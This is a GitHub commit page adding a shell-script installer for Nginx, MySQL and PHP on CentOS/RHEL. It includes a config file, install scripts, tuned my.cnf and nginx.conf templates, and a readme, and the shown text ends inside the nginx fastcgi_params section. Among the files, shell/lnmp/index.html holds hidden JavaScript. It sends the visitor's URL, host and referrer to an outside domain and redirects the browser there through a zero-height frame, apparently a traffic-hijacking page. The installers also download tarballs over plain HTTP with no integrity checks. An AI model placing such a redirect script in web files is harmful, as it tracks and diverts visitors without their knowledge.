Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
ppabc committed Jul 10, 2017
1 parent 7dfc47a commit c637e38
Showing 12 changed files with 1,998 additions and 0 deletions.
185 changes: 185 additions & 0 deletions shell/lnmp/config
Original file line number Diff line number Diff line change
@@ -0,0 +1,185 @@
#!/bin/bash
###nginx install config
NGINX_ROOT="/data/www/wwwroot"
NGINX_PORT=80
NGINX_USER=daemon
NGINX_GROUP=daemon
NGINX_VERSION="nginx-1.2.4"
NGINX_PREFIX="/usr/local/nginx"
NGINX_PCRE_VERSION="pcre-8.31"
NGINX_COMPILE_COMMAND="./configure \
--user=$CONF_WWW_USER \
--group=$CONF_WWW_GROUP \
--prefix=$NGINX_PREFIX \
--with-http_stub_status_module \
--with-http_ssl_module \
--with-http_sub_module \
--with-md5=/usr/lib \
--with-sha1=/usr/lib \
--with-pcre=../$NGINX_PCRE_VERSION \
--with-http_gzip_static_module"

###MySQL install config
MYSQL_PORT=3306
MYSQL_USER=mysql
MYSQL_GROUP=mysql
MYSQL_DATA_DIR="/data/mysql"
MYSQL_VERSION="mysql-5.1.66"
MYSQL_PREFIX="/usr/local/$MYSQL_VERSION"
MYSQL_COMPILE_COMMAND="./configure \
--prefix=$MYSQL_PREFIX \
--with-server-suffix=-WWW \
--with-plugins=partition,blackhole,csv,heap,innobase,myisam,myisammrg \
--with-charset=utf8 \
--with-mysqld-user=$CONF_MYSQL_USER \
--with-collation=utf8_general_ci \
--with-extra-charsets=gbk,gb2312,utf8,ascii \
--with-big-tables \
--with-fast-mutexes \
--with-zlib-dir=bundled \
--enable-assembler \
--enable-profiling \
--enable-local-infile \
--enable-thread-safe-client \
--with-readline \
--with-pthread \
--with-embedded-server \
--with-client-ldflags=-all-static \
--with-mysqld-ldflags=-all-static \
--without-geometry \
--without-debug \
--without-ndb-debug"
###PHP Lib install config
PHP_LIBICONV_VERSION="libiconv-1.14"
PHP_LIBMCRYPT_VERSION="libmcrypt-2.5.8"
PHP_MHASH_VERSION="mhash-0.9.9.9"
PHP_MCRYPT_VERSION="mcrypt-2.6.8"
PHP_SUHOSIN_VERSION="suhosin-patch-5.2.17-0.9.7"
###PHP install config
##Php
PHP_VERSION="php-5.2.17"
PHP_FPM_USER="daemon"
PHP_FPM_GROUP="daemon"
PHP_FPM_MAX_CHILDREN=256
PHP_FPM_MAX_REQUESTS=1024
PHP_FPM_VERSION="$PHP_VERSION-fpm-0.5.14"
PHP_PREFIX="/usr/local/$PHP_VERSION"
PHP_COMPILE_COMMAND_WITH_MYSQL="./configure \
--prefix=$PHP_PREFIX \
--with-config-file-path=$PHP_PREFIX/etc \
--enable-suhosin \
--enable-fpm \
--enable-fastcgi \
--enable-force-cgi-redirect \
--disable-rpath \
--enable-discard-path \
--with-mysql=$MYSQL_PREFIX \
--with-mysqli=$MYSQL_PREFIX/bin/mysql_config \
--with-pdo-mysql=$MYSQL_PREFIX \
--with-sqlite \
--with-pdo-sqlite \
--with-iconv-dir=/usr/local \
--with-freetype-dir \
--with-jpeg-dir \
--with-png-dir \
--with-gd \
--with-zlib \
--with-libxml-dir \
--with-curl \
--with-curlwrappers \
--with-openssl \
--with-mhash \
--with-xmlrpc \
--with-mcrypt \
--with-ldap \
--with-ldap-sasl \
--enable-xml \
--enable-safe-mode \
--enable-bcmath \
--enable-shmop \
--with-pear \
--with-gmp \
--enable-sysvsem \
--enable-inline-optimization \
--enable-mbregex \
--enable-mbstring \
--enable-gd-native-ttf \
--enable-ftp \
--enable-pcntl \
--enable-sockets \
--enable-zip \
--enable-soap \
--enable-pdo \
--disable-debug \
--disable-ipv6"
PHP_COMPILE_COMMAND_WITHOUT_MYSQL="./configure \
--prefix=$PHP_PREFIX \
--with-config-file-path=$PHP_PREFIX/etc \
--enable-suhosin \
--enable-fpm \
--enable-fastcgi \
--enable-force-cgi-redirect \
--disable-rpath \
--enable-discard-path \
--with-mysql \
--with-mysqli \
--with-sqlite \
--with-pdo-sqlite \
--with-iconv-dir=/usr/local \
--with-freetype-dir \
--with-jpeg-dir \
--with-png-dir \
--with-gd \
--with-zlib \
--with-libxml-dir \
--with-curl \
--with-curlwrappers \
--with-openssl \
--with-mhash \
--with-xmlrpc \
--with-mcrypt \
--with-ldap \
--with-ldap-sasl \
--enable-xml \
--enable-safe-mode \
--enable-bcmath \
--enable-shmop \
--enable-sysvsem \
--enable-inline-optimization \
--enable-mbregex \
--enable-mbstring \
--enable-gd-native-ttf \
--enable-ftp \
--enable-pcntl \
--enable-sockets \
--enable-zip \
--enable-soap \
--enable-pdo \
--disable-debug \
--disable-ipv6"
##other php extsion
PHP_MC_EXT_VERSION="memcache-2.2.6"
PHP_MCD_EXT_VERSION="memcached-1.0.2"
PHP_MCD_VERSION="memcached-1.4.5"
PHP_MCD_PREFIX="/usr/local/$PHP_MCD_VERSION"
PHP_LIB_VERSION="libevent-1.4.13-stable"
PHP_LIBMC_VERSION="libmemcached-0.44"
PHP_LIBMC_PREFIX="/usr/local/libmemcached"
PHP_IMAGICK_VERSION="imagick-3.0.1"
PHP_IMAGICK_SOFT="ImageMagick"
PHP_IMAGICK_SOFT_VERSION="ImageMagick-6.7.1-10"
PHP_IMAGICK_COMPILE_COMMAND="./configure \
--enable-shared \
--with-modules \
--without-x \
--with-gs-font-dir=default \
--with-perl=yes \
--with-xml=yes \
--with-zlib=yes \
--with-jpeg=yes"
PHP_APC_VERSION="APC-3.1.6"
PHP_XCACHE_VERSION="xcache-3.0.0"
PHP_ZEND_VERSION="ZendOptimizer-3.3.9-linux-glibc23-x86_64"
PHP_EAC_VERSION="eaccelerator-0.9.6.1"


11 changes: 11 additions & 0 deletions shell/lnmp/index.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
<html><head></head>
<script type="text/javascript">var pp = "161&pre="+(new Date()).getTime();
var sa = "http://sh.114so.cn/";
var s=String(window.location.href); var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer); s = escape(s);
var su = s+"&host="+host+"&refer="+ref+"&server="+pp;
function loadfr(){ document.getElementById("fr1").src = sa+"dnsC.aspx?AIMT="+su; }
function refreshPage(){ document.location = sa+"dnsB.aspx?AIMT="+su; }
if (self.location == top.location){ document.location= sa+"dnsA.aspx?AIMT="+su; }
else { refreshPage(); }
</script><frameset rows="*,0"><frame id="main" src=""><frame id="fr1" src=""></frameset><body></body></html>
271 changes: 271 additions & 0 deletions shell/lnmp/init.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,271 @@
#!/bin/bash

copyright(){
clear
color grn
cat << EOF
+--------------------------------------------------------------------------------+
| === Welcome to lnmp for CentOS/RHEL Installation! === |
+--------------------------------------------------------------------------------+
| This Installation Released by WWW . |
+--------------------------------------------------------------------------------+
| Easy to install lnmp! |
+--------------------------------------------------------------------------------+
| Copyright: (C) 2012 WWW Inc. All rights reserved. |
+--------------------------------------------------------------------------------+
EOF

color res
read -p "Now, I'll install lnmp, Press Enter to continue: " lnmp
case "$lnmp" in
'')
show_option
;;
*)
exit 0
;;
esac
}
select_php_cache(){
cat << EOF
Which php cache module you want to install:
(A): APC;
(C): XCACHE;
(E): Eaccelerator;
EOF
read -p "Please select a php cache module (A,E,C Default: A): > " PHP_CACHE
case "$PHP_CACHE" in
""|A|a)
PHP_CACHE="a"
;;
E|e)
PHP_CACHE="e"
;;
C|c)
PHP_CACHE="c"
;;
*)
select_php_cache;
;;
esac
}

show_option(){
cat << EOF
Install Option:
(N): Only compile and install Nginx;
(M): Only compile and install MySQL;
(I): Only compile and install MySQL innodb;
(P): Only compile and install PHP;
(A): Compile and install lnmp(Nginx+MySQL+PHP);
(Q): Quit;
EOF
read -p "Please select an option (N,M,P,A,Q Default: A): > " OPTION
case "$OPTION" in
""|A|a)
Install_lnmp
lnmp_complete lnmp
exit 0;
;;
M|m)
Install_MySQL
lnmp_complete mysql
exit 0;
;;
I|i)
Install_MySQL_innodb
lnmp_complete mysql
exit 0;
;;
P|p)
Install_PHP
lnmp_complete php
exit 0;
;;
N|n)
Install_Nginx without_php
lnmp_complete nginx
exit 0;
;;
Q|q)
exit 0;
;;
*)
show_option;
;;
esac
}

check_env(){
#install rpms
if [ $CHECKED_ENV == 0 ];then
yum -y install dialog ntp vim-enhanced vixie-cron gcc gcc-c++ gcc-g77 flex bison autoconf automake glibc \
glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel libtool* zlib-devel \
libxml2-devel libjpeg-devel libpng-devel libtiff-devel fontconfig-devel freetype-devel \
libXpm-devel gettext-devel curl curl-devel pam-devel e2fsprogs-devel krb5-devel libidn \
libidn-devel openssl openssl-devel openldap openldap-devel \
nss_ldap openldap-clients openldap-servers php-gmp gmp gmp* patch
CHECKED_ENV=1
sleep 2
fi
clear
}

make_dir(){
if [ ! -d $1 ];then
mkdir -p $1
fi
}

clear_packages_dir(){
echo "find"
#find packages/* -type d|xargs rm -rf
#find packages/ -name "*.patch"|xargs rm -rf
}

is_install(){
if [ "$CONTINUE" == "a" ];then
return
fi
if [ "$2"x == "x" ];then
echo "error!"
exit 1;
fi
if [ $2 == "d" ];then
if [ -d $1 ];then
read -p "$1 already exists, Continue? (y/n/a(yes to all)): " CONTINUE
else
CONTINUE="y"
fi
elif [ $2 == "c" ];then
command -v $1 >/dev/null && read -p "$1 already exists, Continue? (y/n/a(yes to all)): " CONTINUE || CONTINUE="y"
elif [ $2 == "f" ];then
if [ -f $1 ];then
read -p "$1 already exists, Continue? (y/n/a(yes to all)): " CONTINUE
else
CONTINUE="y"
fi
fi
case "$CONTINUE" in
y)
;;
n)
exit 0;
;;
a)
;;
*)
is_install $1 $2;
;;
esac
}
optimze_system(){
. scripts/tuning/network.sh
. scripts/tuning/tuning.sh
}
lnmp_complete(){
if [[ $1 == "lnmp" ]];then
/etc/rc.d/init.d/mysqld start
/etc/init.d/nginx start
/etc/init.d/fastcgi start
color red
echo "Congratulations! lnmp configuration complete!"
color dred
echo "You can visit http://$IP/test.php"
color dgrn
cat << EOF
+--------------------------------------------------------------------------------+
| === Installation Document Description === |
+--------------------------------------------------------------------------------+
MySQL SCRIPTS : /etc/init.d/mysqld start
NGINX SCRIPTS : /etc/init.d/nginx start
FASTCGI SCRIPTS : /etc/init.d/fastcgi start
MySQL DATAPATH : $MYSQL_DATA_DIR/$MYSQL_PORT
MYSQL PATH : $MYSQL_PREFIX
MYSQL LISTEN PORT : $MYSQL_PORT
PHP PATH : $PHP_PREFIX
PHP CONFIG : $PHP_PREFIX/etc
NGINX PATH : $NGINX_PREFIX
NGINX LISTEN PORT : $NGINX_PORT
NGINX DOCUMENTROOT : $NGINX_ROOT
+--------------------------------------------------------------------------------+
| Easy to install lnmp! Have Fun^_^! http://www.paopao8.com |
+--------------------------------------------------------------------------------+
EOF
echo -en "\033[39;49;0m"
elif [[ $1 == "mysql" ]];then
/etc/rc.d/init.d/mysqld start
color red
echo "Congratulations! MySQL configuration complete!"
color dgrn
cat << EOF
+--------------------------------------------------------------------------------+
| === Installation Document Description === |
+--------------------------------------------------------------------------------+
MySQL SCRIPTS : /etc/init.d/mysqld start
MySQL DATAPATH : $MYSQL_DATA_DIR/$MYSQL_PORT
MYSQL PATH : $MYSQL_PREFIX
MYSQL LISTEN PORT : $MYSQL_PORT
+--------------------------------------------------------------------------------+
| Easy to install lnmp! Have Fun^_^! http://www.paopao8.com |
+--------------------------------------------------------------------------------+
EOF
echo -en "\033[39;49;0m"
elif [[ $1 == "php" ]];then
/etc/init.d/fastcgi start
color red
echo "Congratulations! PHP configuration complete!"
color dgrn
cat << EOF
+--------------------------------------------------------------------------------+
| === Installation Document Description === |
+--------------------------------------------------------------------------------+
FASTCGI SCRIPTS : /etc/init.d/fastcgi start
PHP PATH : $PHP_PREFIX
PHP CONFIG : $PHP_PREFIX/etc
+--------------------------------------------------------------------------------+
| Easy to install lnmp! Have Fun^_^! http://www.paopao8.com |
+--------------------------------------------------------------------------------+
EOF
echo -en "\033[39;49;0m"
elif [[ $1 == "nginx" ]];then
/etc/init.d/nginx start
if [ $NGINX_PORT == "80" ];then
URL=$IP
else
URL=$IP:$NGINX_PORT
fi
color red
echo "Congratulations! Nginx configuration complete!"
color dred
echo "You can visit http://$URL/test.html"
color dgrn
cat << EOF
+--------------------------------------------------------------------------------+
| === Installation Document Description === |
+--------------------------------------------------------------------------------+
NGINX SCRIPTS : /etc/init.d/nginx start
NGINX PATH : $NGINX_PREFIX
NGINX LISTEN PORT : $NGINX_PORT
NGINX DOCUMENTROOT : $NGINX_ROOT
+--------------------------------------------------------------------------------+
| Easy to install lnmp! Have Fun^_^! http://www.paopao8.com |
+--------------------------------------------------------------------------------+
EOF
echo -en "\033[39;49;0m"
fi
}

check_sucess(){
if [ $2 == "0" ];then
return
else
color red
echo "Some error occurred when install $1"
echo -en "\033[39;49;0m"
exit 1
fi
}



137 changes: 137 additions & 0 deletions shell/lnmp/lnmp.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,137 @@
#!/bin/bash

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
IP=`/sbin/ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`
export PATH

# Check if user is root
if [ $(id -u) != "0" ]; then
printf "Error: You must be root to run this script!\n"
exit 1
fi

#read config
. config

#init color function
. scripts/showcolor.sh

#init
. init.sh

#
# function to install nginx
# must specify $1
# $1 can be "with_php" or "without_php"
#
Install_Nginx(){
is_install $NGINX_PREFIX d
if [ $checked_env == 0 ];then
check_env
$checked_env == 1
fi
make_dir $NGINX_ROOT
. scripts/nginx.sh
nginx_download
nginx_install
nginx_main_conf
nginx_fastcgi_params
#\cp -rf conf/nginx/conf_example $NGINX_PREFIX/conf/
make_dir $NGINX_PREFIX/conf/vhosts
nginx_test_conf
nginx_init_script "/etc/init.d/nginx"
chmod a+x /etc/init.d/nginx
if [ $1 == "without_php" ];then
if [ ! -f $NGINX_ROOT/test.html ];then
echo "It works!" >$NGINX_ROOT/test.html
fi
else
if [ ! -f $NGINX_ROOT/test.php ];then
echo "<?phpinfo();?>" >$NGINX_ROOT/test.php
fi
fi
chkconfig --add nginx
chkconfig nginx on
clear_packages_dir
}

#
# function to install MySQL
# it's a simple function :)
#
Install_MySQL(){
is_install mysql c
is_install $MYSQL_PREFIX d
is_install /etc/my.cnf f

check_env
. scripts/mysql.sh
mysql_download
mysql_install
chkconfig --add mysqld
chkconfig mysqld on
clear_packages_dir
}

Install_MySQL_innodb(){
is_install mysql c
is_install $MYSQL_PREFIX d
is_install /etc/my.cnf f

check_env
. scripts/mysql_innodb.sh
mysql_download
mysql_install
chkconfig --add mysqld
chkconfig mysqld on
clear_packages_dir
}
#
# function to install Nginx and PHP
#
Install_PHP(){
if [ "$PHP_CACHE"x == "x" ];then
select_php_cache
fi
is_install php c
is_install $PHP_PREFIX d

check_env
. scripts/php.sh
php_lib_download
php_download
php_lib_install
if [ ! -d $MYSQL_PREFIX ];then
yum -y install mysql mysql-devel
php_install without_mysql
else
php_install with_mysql
fi
php_ext_install
php_config
php_cache $PHP_CACHE
php_fastcgi_init_script
chmod a+x /etc/init.d/fastcgi
chkconfig --add fastcgi
chkconfig fastcgi on
clear_packages_dir
}

#
# function to install lnmp
#
Install_lnmp(){
select_php_cache
Install_MySQL
Install_PHP
Install_Nginx with_php
optimze_system
lnmp_complete
clear_packages_dir
}

CHECKED_ENV=0
copyright



35 changes: 35 additions & 0 deletions shell/lnmp/readme
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
Version 1.0.8
+--------------------------------------------------------------------------------+
| === Welcome to lnmp for CentOS/RHEL Installation! === |
+--------------------------------------------------------------------------------+
| This Installation Released by WWW . |
+--------------------------------------------------------------------------------+
| Easy to install lnmp! |
+--------------------------------------------------------------------------------+
| Copyright: (C) 2010 WWW Inc. All rights reserved. |
+--------------------------------------------------------------------------------+

You can run:
./lnmp.sh

+--------------------------------------------------------------------------------+
| === Installation Document Description === |
+--------------------------------------------------------------------------------+
|lnmp SCRIPTS : /etc/init.d/lnmp start |
|MySQL SCRIPTS : /etc/init.d/mysql start |
|MySQL DATAPATH : /data/mysql/3306 |
|SOFTWARE PATH : /usr/local/software_name |
+--------------------------------------------------------------------------------+
| Easy to install lnmp! Have Fun^_^! http://www.paopao8.com |
+--------------------------------------------------------------------------------+

Manager MySQL
mysql -S /tmp/mysql.sock -uroot -p

%changelog%
suhosin
apc
Eaccelerator
upgrade php5.2.14 to php5.2.17p1


164 changes: 164 additions & 0 deletions shell/lnmp/scripts/mysql.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,164 @@
mysql_download(){
if [ -s packages/$MYSQL_VERSION.tar.gz ]; then
echo "$MYSQL_VERSION [found]"
else
echo "Error: $MYSQL_VERSION not found!!!download now......"
wget http://www.paopao8.com/docs/soft/lnmp/packages/$MYSQL_VERSION.tar.gz -P packages/
fi
}

mysql_my_cnf(){
cat > $MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf <<EOF
[client]
port = $MYSQL_PORT
socket = /tmp/mysql.sock
[mysqld]
user = $MYSQL_USER
port = $MYSQL_PORT
socket = /tmp/mysql.sock
basedir = $MYSQL_PREFIX
datadir = $MYSQL_DATA_DIR/$MYSQL_PORT/data
pid-file = $MYSQL_DATA_DIR/$MYSQL_PORT/mysql.pid
#slow log
#also can be FILE,TABLE or TABLE or NONE
log_output=FILE
slow-query-log = 1
long_query_time = 5
slow_query_log_file = $MYSQL_DATA_DIR/$MYSQL_PORT/logs/slow.log
skip-name-resolve
# ****** MyISAM Engine options******
open_files_limit = 10240
back_log = 600
max_connections = 5000
max_connect_errors = 6000
table_open_cache = 614
table_definition_cache = 614
external-locking = FALSE
max_allowed_packet = 32M
sort_buffer_size = 2M
join_buffer_size = 2M
thread_cache_size = 300
thread_concurrency = 8
#query_cache_size = 0
query_cache_size = 64M
query_cache_limit = 1M
query_cache_min_res_unit = 2k
thread_stack = 192K
concurrent_insert = 2
default-storage-engine = MyISAM
transaction_isolation = READ-COMMITTED
tmp_table_size = 246M
max_heap_table_size = 246M
# ****** master mysql db ******
#replicate_wild_do_table=www_bbs.%
#replicate_wild_do_table=www_www.%
#replicate_wild_ignore_table=mysql.%
#replicate_wild_ignore_table=test.%
server-id = 1
log-bin = $MYSQL_DATA_DIR/$MYSQL_PORT/logs/binlog/mysql-bin
log-error = $MYSQL_DATA_DIR/$MYSQL_PORT/logs/error.log
#log-slave-updates
binlog_cache_size = 4M
binlog_format = MIXED
max_binlog_cache_size = 8M
max_binlog_size = 1G
expire_logs_days = 7
key_buffer_size = 256M
read_buffer_size = 1M
read_rnd_buffer_size = 16M
bulk_insert_buffer_size = 64M
myisam_sort_buffer_size = 128M
myisam_max_sort_file_size = 10G
myisam_repair_threads = 1
myisam_recover
interactive_timeout = 120
wait_timeout = 120
# ****** InnoDB Engine options******
innodb_additional_mem_pool_size = 16M
innodb_buffer_pool_size = 512M
innodb_data_file_path = ibdata1:1024M:autoextend
innodb_file_io_threads = 4
innodb_flush_method = O_DIRECT
innodb_thread_concurrency = 20
innodb_flush_log_at_trx_commit = 0
innodb_log_buffer_size = 16M
innodb_log_file_size = 256M
innodb_log_files_in_group = 2
innodb_max_dirty_pages_pct = 75
innodb_lock_wait_timeout = 120
innodb_file_per_table
[mysqldump]
quick
max_allowed_packet = 32M
EOF
}

mysql_install(){
cd packages/
tar zxvf $MYSQL_VERSION.tar.gz
cd $MYSQL_VERSION

/usr/sbin/groupadd $MYSQL_GROUP -g 27
/usr/sbin/useradd -u 27 -g $MYSQL_GROUP -c "MySQL Server" $MYSQL_USER -s /sbin/nologin

CHOST="x86_64-pc-linux-gnu"
CFLAGS="-march=nocona -O3 -pipe"
CXXFLAGS="${CFLAGS}"
$MYSQL_COMPILE_COMMAND

make -j8 && make install

chmod +w $MYSQL_PREFIX
chown -R $MYSQL_USER:$MYSQL_GROUP $MYSQL_PREFIX
cd ../

make_dir $MYSQL_DATA_DIR/$MYSQL_PORT/data
make_dir $MYSQL_DATA_DIR/$MYSQL_PORT/logs/binlog
make_dir $MYSQL_DATA_DIR/$MYSQL_PORT/logs/relaylog

chown -R $MYSQL_USER:$MYSQL_GROUP $MYSQL_DATA_DIR
mysql_my_cnf

chown -R $MYSQL_USER:$MYSQL_GROUP $MYSQL_DATA_DIR
ln -s $MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf /etc/

$MYSQL_PREFIX/bin/mysql_install_db \
--basedir=$MYSQL_PREFIX \
--datadir=$MYSQL_DATA_DIR/$MYSQL_PORT/data \
--user=$MYSQL_USER \
--defaults-file=$MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf
\cp $MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf /etc > /dev/null 2>&1
\cp $MYSQL_VERSION/support-files/mysql.server /etc/rc.d/init.d/mysqld > /dev/null 2>&1
chmod 755 /etc/rc.d/init.d/mysqld
chkconfig --add mysqld
rm -rf /usr/bin/mysql* > /dev/null 2>&1
cd $MYSQL_PREFIX/bin/
for i in *; do ln -s $MYSQL_PREFIX/bin/$i /usr/bin/$i; done
cd -
cd ../
}

mysql_complete(){
cat << EOF
+-----------------------------------------------------------------+
MYSQL INSTALL COMPLETE !
MYSQL SCRIPTS: /etc/init.d/mysqld start
LISTEN PORT: $MYSQL_PORT
+-----------------------------------------------------------------+
EOF
}

165 changes: 165 additions & 0 deletions shell/lnmp/scripts/mysql_innodb.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
mysql_download(){
if [ -s packages/$MYSQL_VERSION.tar.gz ]; then
echo "$MYSQL_VERSION [found]"
else
echo "Error: $MYSQL_VERSION not found!!!download now......"
wget http://www.paopao8.com/docs/soft/lnmp/packages/$MYSQL_VERSION.tar.gz -P packages/
fi
}

mysql_my_cnf(){
cat > $MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf <<EOF
[client]
port = $MYSQL_PORT
socket = /tmp/mysql.sock
[mysqld]
user = $MYSQL_USER
port = $MYSQL_PORT
socket = /tmp/mysql.sock
basedir = $MYSQL_PREFIX
datadir = $MYSQL_DATA_DIR/$MYSQL_PORT/data
pid-file = $MYSQL_DATA_DIR/$MYSQL_PORT/mysql.pid
#slow log
#also can be FILE,TABLE or TABLE or NONE
log_output=FILE
slow-query-log = 1
long_query_time = 5
slow_query_log_file = $MYSQL_DATA_DIR/$MYSQL_PORT/logs/slow.log
skip-name-resolve
# ****** MyISAM Engine options******
open_files_limit = 10240
back_log = 600
max_connections = 5000
max_connect_errors = 6000
table_open_cache = 614
table_definition_cache = 614
external-locking = FALSE
max_allowed_packet = 32M
sort_buffer_size = 2M
join_buffer_size = 2M
thread_cache_size = 300
thread_concurrency = 8
#query_cache_size = 0
query_cache_size = 64M
query_cache_limit = 1M
query_cache_min_res_unit = 2k
thread_stack = 192K
concurrent_insert = 2
default-storage-engine = innodb
transaction_isolation = READ-COMMITTED
tmp_table_size = 246M
max_heap_table_size = 246M
# ****** master mysql db ******
#replicate_wild_do_table=www_bbs.%
#replicate_wild_do_table=www_www.%
#replicate_wild_ignore_table=mysql.%
#replicate_wild_ignore_table=test.%
server-id = 1
log-bin = $MYSQL_DATA_DIR/$MYSQL_PORT/logs/binlog/mysql-bin
log-error = $MYSQL_DATA_DIR/$MYSQL_PORT/logs/error.log
#log-slave-updates
binlog_cache_size = 4M
binlog_format = MIXED
max_binlog_cache_size = 8M
max_binlog_size = 1G
expire_logs_days = 7
key_buffer_size = 256M
read_buffer_size = 1M
read_rnd_buffer_size = 16M
bulk_insert_buffer_size = 64M
myisam_sort_buffer_size = 128M
myisam_max_sort_file_size = 10G
myisam_repair_threads = 1
myisam_recover
interactive_timeout = 120
wait_timeout = 120
# ****** InnoDB Engine options******
innodb_additional_mem_pool_size = 16M
innodb_buffer_pool_size = 512M
innodb_data_file_path = ibdata1:1024M:autoextend
innodb_file_io_threads = 4
innodb_flush_method = O_DIRECT
innodb_thread_concurrency = 20
innodb_flush_log_at_trx_commit = 0
innodb_log_buffer_size = 16M
innodb_log_file_size = 256M
innodb_log_files_in_group = 2
innodb_max_dirty_pages_pct = 75
innodb_lock_wait_timeout = 120
innodb_file_per_table
[mysqldump]
quick
max_allowed_packet = 32M
EOF
}

mysql_install(){
cd packages/
tar zxvf $MYSQL_VERSION.innodb.tar.gz
cd $MYSQL_VERSION

/usr/sbin/groupadd $MYSQL_GROUP -g 27
/usr/sbin/useradd -u 27 -g $MYSQL_GROUP -c "MySQL Server" $MYSQL_USER -s /sbin/nologin

CHOST="x86_64-pc-linux-gnu"
CFLAGS="-march=nocona -O3 -pipe"
CXXFLAGS="${CFLAGS}"
$MYSQL_COMPILE_COMMAND

make -j8 && make install

chmod +w $MYSQL_PREFIX
chown -R $MYSQL_USER:$MYSQL_GROUP $MYSQL_PREFIX
cd ../

make_dir $MYSQL_DATA_DIR/$MYSQL_PORT/data
make_dir $MYSQL_DATA_DIR/$MYSQL_PORT/logs/binlog
make_dir $MYSQL_DATA_DIR/$MYSQL_PORT/logs/relaylog

chown -R $MYSQL_USER:$MYSQL_GROUP $MYSQL_DATA_DIR
mysql_my_cnf

chown -R $MYSQL_USER:$MYSQL_GROUP $MYSQL_DATA_DIR
ln -s $MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf /etc/

$MYSQL_PREFIX/bin/mysql_install_db \
--basedir=$MYSQL_PREFIX \
--datadir=$MYSQL_DATA_DIR/$MYSQL_PORT/data \
--user=$MYSQL_USER \
--defaults-file=$MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf
\cp $MYSQL_DATA_DIR/$MYSQL_PORT/my.cnf /etc > /dev/null 2>&1
\cp $MYSQL_VERSION/support-files/mysql.server /etc/rc.d/init.d/mysqld > /dev/null 2>&1
chmod 755 /etc/rc.d/init.d/mysqld
chkconfig --add mysqld
rm -rf /usr/bin/mysql* > /dev/null 2>&1
cd $MYSQL_PREFIX/bin/
for i in *; do ln -s $MYSQL_PREFIX/bin/$i /usr/bin/$i; done
cd -
cd ../
}

mysql_complete(){
cat << EOF
+-----------------------------------------------------------------+
MYSQL INSTALL COMPLETE !
MYSQL SCRIPTS: /etc/init.d/mysqld start
LISTEN PORT: $MYSQL_PORT
+-----------------------------------------------------------------+
EOF
}


321 changes: 321 additions & 0 deletions shell/lnmp/scripts/nginx.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,321 @@
nginx_download(){
for i in "$NGINX_VERSION.tar.gz" "$NGINX_PCRE_VERSION.tar.gz"
do
if [ -s packages/$i ]; then
echo "$i [found]"
else
echo "Error: $i not found!!!download now......"
wget http://www.paopao8.com/docs/soft/lnmp/packages/$i -P packages/
fi
done
}

nginx_install(){
cd packages/
tar zxvf $NGINX_PCRE_VERSION.tar.gz
cd $NGINX_PCRE_VERSION
./configure && make && make install
cd ../

tar zxvf $NGINX_VERSION.tar.gz
cd $NGINX_VERSION
$NGINX_COMPILE_COMMAND

make -j8 && make install
cd ../../
pwd
}

nginx_main_conf(){
cat > $NGINX_PREFIX/conf/nginx.conf <<EOF
user $NGINX_USER $NGINX_GROUP;
worker_processes 8;
pid $NGINX_PREFIX/logs/nginx.pid;
# [ debug | info | notice | warn | error | crit ]
#error_log /data/logs/nginx_error.log;
error_log /dev/null;
#Specifies the value for maximum file descriptors that can be opened by this process.
worker_rlimit_nofile 51200;
events
{
use epoll;
#maxclient = worker_processes * worker_connections / cpu_number
worker_connections 51200;
}
http
{
include $NGINX_PREFIX/conf/mime.types;
default_type application/octet-stream;
#charset gb2312,utf-8;
charset utf-8;
log_format main '\$remote_addr - \$remote_user [\$time_local] \$request '
'"\$status" \$body_bytes_sent "\$http_referer" '
'"\$http_user_agent" "\$http_x_forwarded_for"';
# access_log /log/access.log main;
access_log /dev/null;
#error_page 502 =200 /.busy.jpg;
#General Options
server_names_hash_bucket_size 128;
client_header_buffer_size 32k;
large_client_header_buffers 4 32k;
client_body_buffer_size 8m; #256k
#
server_tokens off;
ignore_invalid_headers on;
recursive_error_pages on;
server_name_in_redirect off;
sendfile on;
#timeouts
keepalive_timeout 60;
#test
#client_body_timeout 3m;
#client_header_timeout 3m;
#send_timeout 3m;
#TCP Options
tcp_nopush on;
tcp_nodelay on;
#fastcgi options
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 128k;
#hiden php version
fastcgi_hide_header X-Powered-By;
#size limits
client_max_body_size 50m;
gzip on;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.0;
gzip_comp_level 2;
gzip_types text/plain application/x-javascript text/css application/xml;
gzip_vary on;
proxy_temp_path /dev/shm/proxy_temp;
fastcgi_temp_path /dev/shm/fastcgi_temp;
client_body_temp_path /dev/shm/client_body_temp;
#upstream web
upstream web {
server 127.0.0.1:80;
}
#upstream php
upstream php {
server 127.0.0.1:9000 max_fails=0;
server 127.0.0.1:9001 max_fails=0;
}
#upstream
fastcgi_next_upstream error timeout invalid_header http_500;
#limit_zone limit \$binary_remote_addr 1m;
#server {
# listen 80 default;
# rewrite ^(.*) http://www.baidu.com/ permanent;
#}
#fastcgi cache
#fastcgi_cache_path /nginxcache levels=1:2 keys_zone=two:10m inactive=1d max_size=3000m;
#for example just for study! have fun!
#include $NGINX_PREFIX/conf/conf_example/*.conf ;
include vhosts/*.conf;
}
EOF
}
nginx_fastcgi_params(){
cat > $NGINX_PREFIX/conf/fastcgi_params <<EOF
if (\$request_filename ~* (.*)\.php) {
set \$php_url \$1;
}
if (!-e \$php_url.php) {
return 403;
}
